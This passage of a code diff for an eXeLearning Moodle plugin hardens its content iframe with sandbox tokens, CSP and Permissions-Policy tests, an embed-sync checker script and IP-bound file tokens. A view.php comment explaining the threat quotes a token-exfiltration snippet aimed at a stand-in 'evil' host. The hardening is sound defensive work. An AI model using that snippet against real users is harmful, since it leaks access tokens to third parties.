player_iframe::resolve_mode()); + $this->assertTrue(player_iframe::is_secure()); + } + + /** + * The dev-only escape hatch defaults off: with no constant or env var set, the mode is secure. + */ + public function test_unsafe_legacy_defaults_off(): void { + $this->assertFalse(player_iframe::is_unsafe_legacy()); + $this->assertSame(player_iframe::MODE_SECURE, player_iframe::resolve_mode()); + } + + /** + * The dev-only EXELEARNING_UNSAFE_LEGACY_IFRAME escape hatch (here through its env var) switches + * to the same-origin legacy iframe and drops the CSP sandbox directive, so a service worker that + * only serves same-origin documents (the php-wasm Playground) can load the package CSS/JS. This + * path is never reachable from a Moodle setting. + */ + public function test_unsafe_legacy_env_enables_same_origin(): void { + putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME=1'); + try { + $this->assertTrue(player_iframe::is_unsafe_legacy()); + $this->assertSame(player_iframe::MODE_LEGACY, player_iframe::resolve_mode()); + $this->assertFalse(player_iframe::is_secure()); + $this->assertStringContainsString('allow-same-origin', player_iframe::sandbox_tokens()); + $csp = player_iframe::content_security_policy('https://moodle.example.net'); + $this->assertStringNotContainsString('sandbox', $csp); + } finally { + putenv('EXELEARNING_UNSAFE_LEGACY_IFRAME'); + } + } + + /** + * The package always runs in an opaque origin: the sandbox tokens MUST drop + * allow-same-origin and allow-popups-to-escape-sandbox, keep the scripts/popups/forms + * the iDevices need, and never grant top navigation or modals. + */ + public function test_secure_sandbox_tokens(): void { + $tokens = player_iframe::sandbox_tokens(); + $list = explode(' ', $tokens); + + $this->assertContains('allow-scripts', $list); + $this->assertContains('allow-popups', $list); + $this->assertContains('allow-forms', $list); + + $this->assertNotContains('allow-same-origin', $list); + $this->assertNotContains('allow-popups-to-escape-sandbox', $list); + $this->assertNotContains('allow-top-navigation', $list); + $this->assertNotContains('allow-top-navigation-by-user-activation', $list); + $this->assertNotContains('allow-modals', $list); + } + + /** + * Permissions-Policy denies sensors/hardware but never fullscreen (the iframe + * grants it and iDevices use it). + */ + public function test_permissions_policy(): void { + $pp = player_iframe::permissions_policy(); + $this->assertStringContainsString('camera=()', $pp); + $this->assertStringContainsString('microphone=()', $pp); + $this->assertStringContainsString('geolocation=()', $pp); + $this->assertStringNotContainsString('fullscreen', $pp); + } + + /** + * The CSP hardens object/base/framing and pins connect-src to this site (so the + * file token cannot be fetch-exfiltrated), while keeping the inline/eval scripts + * eXeLearning needs. The passed site origin must appear in the source lists. + */ + public function test_content_security_policy(): void { + $origin = 'https://moodle.example.net'; + $csp = player_iframe::content_security_policy($origin); + + $this->assertStringContainsString("object-src 'none'", $csp); + $this->assertStringContainsString("base-uri 'none'", $csp); + $this->assertStringContainsString("frame-ancestors 'self'", $csp); + // A sandbox directive keeps the document opaque even when opened outside the + // iframe (e.g. the token URL opened in a new tab), so author JS cannot run as + // Moodle's origin. Tokens mirror the secure iframe sandbox. + $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp); + $this->assertStringContainsString("connect-src 'self' $origin;", $csp); + // Inline + eval'd scripts are required by the eXeLearning engine. + $this->assertStringContainsString("'unsafe-inline'", $csp); + $this->assertStringContainsString("'unsafe-eval'", $csp); + // Strict (default): NO bare `https:` in ANY source list, so the per-user file token + // in the URL cannot be exfiltrated via img/script/media; only explicit origins like + // https://host (followed by //) are allowed. frame-src is limited to the providers. + $this->assertDoesNotMatchRegularExpression('~\bhttps:(?!//)~', $csp); + $this->assertStringContainsString('https://www.youtube-nocookie.com', $csp); + $this->assertStringContainsString('https://player.vimeo.com', $csp); + } + + /** + * content_headers() emits Referrer-Policy + nosniff on every secure-mode file and adds + * the document-level CSP + Permissions-Policy for an HTML document, deriving the CSP + * origin from $CFG->wwwroot (path stripped). The package always renders secure. + */ + public function test_content_headers(): void { + $this->resetAfterTest(); + + // Secure (default) + HTML document: all four headers, origin stripped from wwwroot. + $headers = player_iframe::content_headers('index.html', 'https://moodle.example.net/sub'); + $this->assertArrayHasKey('Content-Security-Policy', $headers); + $this->assertArrayHasKey('Permissions-Policy', $headers); + $this->assertSame('no-referrer', $headers['Referrer-Policy']); + $this->assertSame('nosniff', $headers['X-Content-Type-Options']); + $this->assertStringContainsString("'self' https://moodle.example.net;", $headers['Content-Security-Policy']); + $this->assertStringNotContainsString('/sub', $headers['Content-Security-Policy']); + + // Secure + non-HTML subresource: the per-file token-protection headers still apply + // (the token rides in the URL of CSS/JS too), but not the document-level CSP. + $sub = player_iframe::content_headers('libs/base.css', 'https://moodle.example.net'); + $this->assertSame('no-referrer', $sub['Referrer-Policy']); + $this->assertSame('nosniff', $sub['X-Content-Type-Options']); + $this->assertArrayNotHasKey('Content-Security-Policy', $sub); + $this->assertArrayNotHasKey('Permissions-Policy', $sub); + + // Legacy mode was removed: a leftover iframemode=legacy config still emits the secure + // headers (no silent downgrade). + set_config('iframemode', 'legacy', 'mod_exelearning'); + $legacy = player_iframe::content_headers('index.html', 'https://moodle.example.net'); + $this->assertArrayHasKey('Content-Security-Policy', $legacy); + $this->assertSame('no-referrer', $legacy['Referrer-Policy']); + } + + /** + * The compatible CSP profile re-opens img/media to https: (documented weaker), while the + * package iframe still renders opaque-origin (the CSP sandbox directive is unchanged). + */ + public function test_csp_compatible_profile_allows_external_https(): void { + $origin = 'https://moodle.example.net'; + $csp = player_iframe::content_security_policy($origin, player_iframe::CSP_COMPATIBLE); + $this->assertMatchesRegularExpression('~img-src[^;]*\bhttps:(?!//)~', $csp); + $this->assertMatchesRegularExpression('~media-src[^;]*\bhttps:(?!//)~', $csp); + $this->assertStringContainsString('sandbox allow-scripts allow-popups allow-forms', $csp); + } + + /** + * csp_profile() defaults to strict; an unset or unrecognised value fails safe to strict. + */ + public function test_csp_profile_defaults_strict(): void { + $this->resetAfterTest(); + $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile()); + set_config('cspprofile', 'bogus', 'mod_exelearning'); + $this->assertSame(player_iframe::CSP_STRICT, player_iframe::csp_profile()); + set_config('cspprofile', player_iframe::CSP_COMPATIBLE, 'mod_exelearning'); + $this->assertSame(player_iframe::CSP_COMPATIBLE, player_iframe::csp_profile()); + } + + /** + * The external-embed policy defaults to strict; an unset or unrecognised value fails safe + * to strict, and 'open' must be explicitly configured. + */ + public function test_embed_mode_defaults_strict(): void { + $this->resetAfterTest(); + $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode()); + set_config('embedmode', 'bogus', 'mod_exelearning'); + $this->assertSame(player_iframe::EMBED_STRICT, player_iframe::embed_mode()); + set_config('embedmode', player_iframe::EMBED_OPEN, 'mod_exelearning'); + $this->assertSame(player_iframe::EMBED_OPEN, player_iframe::embed_mode()); + } +} diff --git a/thirdpartylibs.xml b/thirdpartylibs.xml index 57dffb7..1c1024a 100644 --- a/thirdpartylibs.xml +++ b/thirdpartylibs.xml @@ -21,4 +21,44 @@ 1.1.20121006 MIT + + + js/exe_embed_shim.js + eXeLearning external-embed shim + Runs inside the opaque-origin content iframe: announces itself to the parent relay and, only once welcomed, replaces cross-origin/PDF iframes with geometry placeholders the relay renders on the trusted side. + 1.0.0 + GPLv3+ + 3.0+ + + + js/exe_embed_relay.js + eXeLearning external-embed relay + Parent-side half of the embed pair: authenticates the content frame by window identity, validates each embed URL and overlays the real sandboxed player over the placeholder. + 1.0.0 + GPLv3+ + 3.0+ + + + + js/exe_media_policy.js + eXeLearning external-media policy + Pure, framework-free policy shared by the media bridge halves: provider detection, canonical privacy-friendly embed URLs rebuilt from a bare id, and strict validation of the postMessage contract. + 1.0.0 + GPLv3+ + 3.0+ + + + js/exe_media_host.js + eXeLearning external-media host + Parent-side media relay: completes the capability handshake, opens the real provider player in an accessible dialog on the trusted side, and relays a validated set of media commands and events over a private MessageChannel. + 1.0.0 + GPLv3+ + 3.0+ + diff --git a/tools/EMBED-SYNC.md b/tools/EMBED-SYNC.md new file mode 100644 index 0000000..efdfa55 --- /dev/null +++ b/tools/EMBED-SYNC.md @@ -0,0 +1,39 @@ +# Shared embedder drift control + +eXeLearning's secure-iframe support vendors the same bridge logic into several repos. +`tools/check-embed-sync.mjs` verifies the copies have not drifted (a required logic invariant +is present in every copy). + +## Canonical sources + +- **Promote-to-parent embed relay + shim** (`exe_embed_relay.js`, `exe_embed_shim.js`, sandbox + PHP): **mod_exelearning** is canonical; `wp-exelearning`, `omeka-s-exelearning` and Procomún + mirror it. +- **Modal media-bridge policy** (`exe_media_policy.js`): **eXeLearning core** + (`public/app/common/exe_media_bridge/`) is canonical; mod/wp/omeka/procomun vendor it. +- **Modal media host** (`exe_media_host.js`): **mod_exelearning** is canonical for the + raw-postMessage host that wp/omeka/procomun mirror. eXe **core** ships a *separate* + SDK-based host fork (`exe-media-host.js`), so it is intentionally not compared for `mediahost`. + +## Run + +```bash +node tools/check-embed-sync.mjs \ + --core --wp --omeka --procomun +``` + +Exits non-zero on drift. The check normalises whitespace and quote style, so tabs-vs-spaces and +the IIFE/dual-export wrapper do not count as drift; only missing logic invariants do. + +## On a protocol change + +Update the canonical file, copy the logic into each mirror (keeping each repo's wrapper and +comment header), add the new guarantee to the relevant `*_INVARIANTS` list in +`check-embed-sync.mjs`, and re-run the checker against every mirror. + +## CI + +There is no shared CI infra across these repos, so the checker is not yet a per-repo CI gate. +Until shared infra exists, running it (with the mirror flags) is a **required step in the PR +checklist** whenever a shared embedder file changes. A repo can wire it into CI by sparse-cloning +the canonical files of the other repos and running the checker with the mirror flags. diff --git a/tools/check-embed-sync.mjs b/tools/check-embed-sync.mjs new file mode 100644 index 0000000..01e2fd3 --- /dev/null +++ b/tools/check-embed-sync.mjs @@ -0,0 +1,167 @@ +#!/usr/bin/env node +// Maintenance helper: verify the shared eXeLearning embedder logic stays in sync across repos. +// +// Two bridges are covered: +// - the promote-to-parent EMBED relay/shim (relay/shim/php) -- mod_exelearning is canonical, +// wp/omeka/procomun mirror it; and +// - the MODAL media bridge (mediapolicy/mediahost) -- eXe core is canonical for the policy; +// the host copies (mod canonical, wp/omeka/procomun) mirror the raw-postMessage host +// (core ships a separate SDK-based host fork, so it is not a 'mediahost' target). +// +// This is NOT yet a CI gate (there is no shared CI infra across the repos); it is a local +// check to run before/after touching any shared embedder file. Exits non-zero when a copy +// has drifted (a required invariant is missing). +// +// Usage (mirror paths via flags or *_EXE_DIR env vars): +// node tools/check-embed-sync.mjs --core --wp --omeka --procomun +// With no mirror paths it only sanity-checks the canonical mod files. + +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const MOD_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); + +/** + * Every repository this tool compares, in report order. `mod` is this repo and is always + * present; the rest are passed in. + * + * Kept as ONE list because adding the fourth mirror meant editing the same set of names in + * four places — the resolver, the roots map, the iteration order and the usage note — with + * nothing to catch a spot that was missed. + */ +const REPOS = ['core', 'mod', 'wp', 'omeka', 'procomun', 'nextcloud']; +const MIRRORS = REPOS.filter((repo) => repo !== 'mod'); + +/** The flag and environment variable a mirror is passed with. */ +const flagFor = (repo) => `--${repo}`; +const envFor = (repo) => `${repo.toUpperCase()}_EXE_DIR`; + +/** Parse --wp / --omeka / … flags, falling back to env vars. */ +function resolveMirrors() { + const args = process.argv.slice(2); + const get = (flag) => { + const i = args.indexOf(flag); + return i !== -1 && args[i + 1] ? args[i + 1] : null; + }; + return Object.fromEntries( + MIRRORS.map((repo) => [repo, get(flagFor(repo)) || process.env[envFor(repo)] || null]), + ); +} + +/** The dual grant: the ONE thing letting a GPLv3 plugin ship this AGPL file. */ +const DUAL_LICENCE_INVARIANT = 'SPDX-License-Identifier: AGPL-3.0-or-later OR GPL-3.0-or-later'; + +// Logic invariants every RELAY copy must contain (normalised: whitespace + quote style +// are ignored, so tabs-vs-spaces and the IIFE wrapper do not count as drift). +const RELAY_INVARIANTS = [ + 'isCrossOriginHttps', // open-mode structural invariant (DEC-80-03) + 'normalizeHost', // trailing-dot FQDN-root normalisation (no host. bypass) + 'url.origin === window.location.origin', // cross-origin gate (rejects same-origin) + 'allow-scripts allow-same-origin allow-popups allow-forms allow-presentation', // video sandbox + "frame.setAttribute('sandbox', 'allow-same-origin')", // cross-origin PDF sandbox: no scripts/top-nav (audit M-3) + 'data-exe-embed-player', // forged-message defence (D2) + 'data-exe-embed-src', // the page-navigation (id-reuse) fix + 'Math.min(embed.w, rect.width)', // overlay clamp (clickjacking defence) + 'youtube-nocookie.com/embed/', // strict-mode per-provider reconstruction + 'reconstructProvider', // id-only provider channel (DEC-110-01) + "action: 'welcome'", // answers the shim's hello: without it no copy ever promotes + DUAL_LICENCE_INVARIANT, +]; + +// Logic invariants every SHIM copy must contain. +const SHIM_INVARIANTS = [ + 'isCrossOriginHttps', // promote any cross-origin https iframe + 'data-exe-embed-id', + 'data-exe-embed-url', + '.pdf$', // the PDF detector (promote PDFs too) + 'extractProvider', // id-only provider channel (DEC-110-01) + "action: 'hello'", // announces itself instead of promoting on its own authority + 'activated', // the gate: no promotion until a host welcomes this document + DUAL_LICENCE_INVARIANT, +]; + +// Host + token + setting invariants every sandbox PHP must contain. +const PHP_INVARIANTS = [ + 'www.dailymotion.com', + 'mediateca.educa.madrid.org', + 'allow-scripts allow-popups allow-forms', // secure tokens (normalised, order matters) + 'embedmode', // the open/strict embed policy setting (DEC-80-03) +]; + +// Invariants every MODAL-bridge policy copy must contain (exe_media_policy.js). Shared by eXe +// core and the host vendor copies; conservative (contract/function names, not impl details). +const MEDIA_POLICY_INVARIANTS = [ + 'canonicalEmbedUrl', // parent reconstructs the URL (never trusts the child) + 'validateCommand', // closed action enum + nonce + payload checks + 'youtube-nocookie.com/embed/', // canonical YouTube template + 'player.vimeo.com/video/', // canonical Vimeo template + 'exelearningBridge', // per-view nonce field + DUAL_LICENCE_INVARIANT, +]; + +// Invariants every MODAL-bridge host copy must contain (exe_media_host.js raw-postMessage +// variant). The host copies (mod canonical, wp/omeka/procomun mirrors) share these; eXe core +// ships a separate SDK-based fork, so 'core' is intentionally not a target for this kind. +const MEDIA_HOST_INVARIANTS = [ + 'processCommand', // the command relay + 'exelearningBridge', // nonce gate + 'destroyAdapter', // adapter/poll-timer teardown + 'exe-media-modal', // the accessible class + DUAL_LICENCE_INVARIANT, +]; + +const FILES = { + relay: { core: 'public/app/common/exe_embed_bridge/exe_embed_relay.js', mod: 'js/exe_embed_relay.js', wp: 'assets/js/exe-embed-relay.js', omeka: 'asset/js/exe-embed-relay.js', procomun: 'apps/frontend/public/elpx/exe_embed_relay.js', nextcloud: 'src/embed/exe_embed_relay.js', invariants: RELAY_INVARIANTS }, + shim: { core: 'public/app/common/exe_embed_bridge/exe_embed_shim.js', mod: 'js/exe_embed_shim.js', wp: 'assets/js/exe-embed-shim.js', omeka: 'asset/js/exe-embed-shim.js', procomun: 'apps/api/static/elpx/embed-shim.js', nextcloud: 'src/embed/exe_embed_shim.js', invariants: SHIM_INVARIANTS }, + php: { mod: 'classes/local/ui/player_iframe.php', wp: 'includes/class-iframe-sandbox.php', omeka: 'src/Service/IframeSandbox.php', invariants: PHP_INVARIANTS }, + mediapolicy: { core: 'public/app/common/exe_media_bridge/exe_media_policy.js', mod: 'js/exe_media_policy.js', wp: 'assets/js/exe-media-policy.js', omeka: 'asset/js/exe-media-policy.js', procomun: 'apps/frontend/public/elpx/exe_media_policy.js', invariants: MEDIA_POLICY_INVARIANTS }, + mediahost: { mod: 'js/exe_media_host.js', wp: 'assets/js/exe-media-host.js', omeka: 'asset/js/exe-media-host.js', procomun: 'apps/frontend/public/elpx/exe_media_host.js', invariants: MEDIA_HOST_INVARIANTS }, +}; + +const norm = (s) => s.replace(/\s+/g, '').replace(/'/g, '"'); + +function check(label, absPath, invariants) { + if (!fs.existsSync(absPath)) { + return { label, path: absPath, missing: [''] }; + } + const body = norm(fs.readFileSync(absPath, 'utf8')); + const missing = invariants.filter((inv) => body.indexOf(norm(inv)) === -1); + return { label, path: absPath, missing }; +} + +function main() { + const mirrors = resolveMirrors(); + const roots = { ...mirrors, mod: MOD_ROOT }; + const results = []; + + for (const [kind, spec] of Object.entries(FILES)) { + for (const repo of REPOS) { + if (!roots[repo] || !spec[repo]) { continue; } + results.push(check(`${repo}:${kind}`, path.join(roots[repo], spec[repo]), spec.invariants)); + } + } + + let drift = 0; + for (const r of results) { + if (r.missing.length) { + drift++; + console.error(`DRIFT ${r.label} (${r.path})`); + r.missing.forEach((m) => console.error(` missing: ${m}`)); + } else { + console.log(`ok ${r.label}`); + } + } + + if (MIRRORS.some((repo) => !mirrors[repo])) { + console.log(`\nNote: pass ${MIRRORS.map((repo) => `${flagFor(repo)} `).join(' ')}`); + console.log(`(or set ${MIRRORS.map(envFor).join(' / ')}) to check all mirrors.`); + } + if (drift) { + console.error(`\n${drift} file(s) drifted from the canonical embedder logic.`); + process.exit(1); + } + console.log('\nNo drift detected.'); +} + +main(); diff --git a/view.php b/view.php index 953176f..2e3a4c6 100644 --- a/view.php +++ b/view.php @@ -103,6 +103,23 @@ 'index.html' ); } + // Self-heal the secure-mode bridge client (DEC-80-02) into packages extracted + // before it existed: if index.html is present but libs/exe_scorm_bridge.js is not, + // re-extract once so the bridge scripts are copied and injected. Idempotent and + // bounded (only fires until the file exists). + if ($mainfile) { + $hasbridge = $fs->get_file( + $context->id, + 'mod_exelearning', + 'content', + (int) $exelearning->revision, + '/libs/', + 'exe_scorm_bridge.js' + ); + if (!$hasbridge) { + exelearning_extract_stored_package($context->id, (int) $exelearning->revision); + } + } // Self-heal grade-item detection, but only when this package revision has // not been scanned yet (gradesyncrev marker). This used to fire whenever the // activity had no gradable grade item, which for a content-only package @@ -217,20 +234,59 @@ ); } } else { - $iframeurl = moodle_url::make_pluginfile_url( - $context->id, - 'mod_exelearning', - 'content', - (int) $exelearning->revision, - '/', - 'index.html' - ); + // Resolve the iframe security mode once (DEC-80-02, corrects DEC-80-01's Route A). + // Secure mode serves the package through tokenpluginfile.php so the opaque-origin + // iframe's subresources (CSS/JS/images) carry a per-user file token in the URL and + // load WITHOUT the SameSite session cookie (an opaque document never sends it). + // Secure mode is NOT silently downgraded to legacy: if it cannot render (e.g. + // slasharguments off, or a service-worker host that cannot serve an opaque iframe) + // the in-iframe shim never signals ready and the parent relay shows a + // "blocked by security configuration" notice (client-side watchdog), so an admin + // fixes it rather than the activity quietly running in the weaker same-origin mode. + $iframemode = \mod_exelearning\local\ui\player_iframe::resolve_mode(); + $securemode = ($iframemode === \mod_exelearning\local\ui\player_iframe::MODE_SECURE); + if ($securemode) { + // Short-lived core_files key, rounded to the hour so it is reused (not + // regenerated per request). It only authorises file reads and + // exelearning_pluginfile() still enforces mod/exelearning:view, so the token + // grants strictly less than the same-origin sesskey it replaces. + // + // The token rides in the URL path, so untrusted author JS in the opaque iframe can + // read it (a document can always read its own location) and the document CSP allows + // img/media/frame over https:, i.e. it CAN be exfiltrated to a third-party host (e.g. + // new Image().src='https://evil/?'+location.pathname). Bind the key to the viewer's IP + // so an exfiltrated token is useless when replayed from the attacker's server (the + // legitimate file fetches come from the same browser, hence the same IP). Audit M-2. + $filetoken = get_user_key( + 'core_files', + $USER->id, + null, + getremoteaddr(), + (intdiv(time(), HOURSECS) + 2) * HOURSECS + ); + $iframeurl = new moodle_url( + '/tokenpluginfile.php/' . $filetoken . '/' . $context->id . + '/mod_exelearning/content/' . (int) $exelearning->revision . '/index.html' + ); + } else { + $iframeurl = moodle_url::make_pluginfile_url( + $context->id, + 'mod_exelearning', + 'content', + (int) $exelearning->revision, + '/', + 'index.html' + ); + } // Make the in-package teacher-layer selector available via the package's own URL // parameter (eXeLearning core hides teacher content by default and exposes a - // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). This - // replaces the former CSS injection that hid the selector (mod_exeweb parity): the - // plugin no longer mutates the package. The per-activity teachermodevisible setting - // alone controls it — when on, the selector is offered to every viewer; no role gate. + // selector to show it with ?exe-teacher=1; see upstream exelearning#1772). It works + // in secure mode too: the parameter rides in the iframe src and the package reads + // its own location.search even under the opaque origin, so no host CSS injection is + // needed. This replaces the former CSS injection that hid the selector (mod_exeweb + // parity): the plugin no longer mutates the package. The per-activity + // teachermodevisible setting alone controls it — when on, the selector is offered to + // every viewer; no role gate. if (!empty($exelearning->teachermodevisible)) { $iframeurl->param('exe-teacher', '1'); } @@ -387,64 +443,177 @@ ); } } - // SCORM 1.2 shim: injects window.API into the parent window of the iframe. - // pipwerks SCORM (used by eXeLearning v4 iDevices) calls `findAPI()`, - // walking `window.parent` looking for an `API` object with `LMSInitialize`. - // If not found, the iDevice shows "This page is not part of a SCORM package". - // Minimal viable implementation: buffers CMI pairs and sends them to - // track.php on LMSCommit/LMSFinish. + // SCORM 1.2 client. eXeLearning v4 iDevices use pipwerks SCORM, which calls + // findAPI() looking for an `API` object with LMSInitialize. How that API is + // provided depends on the configured iframe security mode (DEC-80-01). In secure + // mode (the default) the package runs in an opaque-origin sandboxed iframe and + // CANNOT reach this page: window.API lives INSIDE the iframe (baked bridge shim, + // libs/exe_scorm_bridge.js) and scoring is relayed here over a validated postMessage + // channel, with this parent only forwarding it to track.php so the sesskey stays on + // the trusted side. In legacy mode the package is same-origin, window.API is injected + // here in the parent, and the iframe's pipwerks walks window.parent to find it. // One page-load token groups all of this view's commits into a single attempt, // shared by whichever channel grades (DEC-0-07). $sessiontoken = random_string(20); - // Channel choice (DEC-85-01): a package that bundles the upstream xAPI emitter grades - // via xAPI; the SCORM shim stays alive (so pipwerks finds window.API and the iDevices - // still run and emit their statements) but inert (it never POSTs to track.php). A - // legacy package without the emitter keeps SCORM grading exactly as before. The - // site-wide master switch (exelearning_xapi_primary_enabled) can force every package - // back onto SCORM without a code change. + // Channel choice (DEC-85-01, extended to secure mode by DEC-80-05): a package that + // bundles the upstream xAPI emitter is graded via xAPI in BOTH iframe modes; the SCORM + // shim stays alive (so pipwerks finds window.API and the iDevices run and emit their + // statements) but inert, so the two channels never double-count. In legacy mode the + // SCORM tracker runs in this parent with disableTracking and the xAPI listener trusts a + // statement by event.origin === host origin (same-origin). In secure mode the package + // is opaque (event.origin is "null"), so the bridge relay drops the SCORM POST and the + // xAPI listener trusts a statement by window identity (event.source === the iframe), + // mirroring the SCORM bridge relay. + // A legacy package without the emitter keeps SCORM grading exactly as before. The + // site-wide master switch (exelearning_xapi_primary_enabled) forces every package back + // onto SCORM without a code change. $emitsxapi = exelearning_xapi_primary_enabled() && exelearning_package_emits_xapi($context->id, (int) $exelearning->revision); - - // The tracker logic is a single source of truth in js/scorm_tracker.js, also - // unit-tested with Vitest (tests/js/scorm_tracker.test.js). It is injected inline - // (not as an AMD module) so window.API is defined synchronously before the package - // iframe's pipwerks findAPI() runs — an async AMD load would race the SCO and break - // grading. The config (cmid, track URL, per-page attempt token, sesskey) is built by - // tracking_endpoint, which keeps the session key out of the URL (SEC-04), and passed - // as JSON to the createScormApi() factory instead of string-substituted placeholders. - $scormcfg = json_encode( - \mod_exelearning\local\tracking_endpoint::scorm_config( - (int) $cm->id, - $mode, - $sessiontoken, - // Inert SCORM shim for xAPI-primary packages (DEC-85-01). - $emitsxapi - ), - JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT + // Tracker config (cmid, track URL, per-page attempt token, sesskey). Built by + // tracking_endpoint, which keeps the session key out of the endpoint URL and in the + // POST body (SEC-04); both clients below consume the same array, and track.php + // validates it with require_body_sesskey(). + $scormcfg = \mod_exelearning\local\tracking_endpoint::scorm_config( + (int) $cm->id, + $mode, + $sessiontoken, + // Inert SCORM shim for xAPI-primary packages (DEC-85-01): window.API stays alive + // so the iDevices run and emit statements, but no score is ever POSTed. + $emitsxapi ); - $trackerjs = file_get_contents(__DIR__ . '/js/scorm_tracker.js'); - $bootjs = "\n(function () { window.API = window.exeScormTracker.createScormApi($scormcfg).api; })();"; - echo html_writer::tag('script', $trackerjs . $bootjs); - // The xAPI listener (DEC-85-01): for an xAPI-capable package, receive the emitter's - // exe-xapi-statement postMessages in this parent page, validate the origin and - // forward each to xapi_track.php. Same inline single-source-of-truth pattern as the - // SCORM tracker (js/xapi_listener.js, Vitest-tested). It shares $sessiontoken as the - // xAPI registration so every statement of this view maps to the same attempt. + // Emit an inline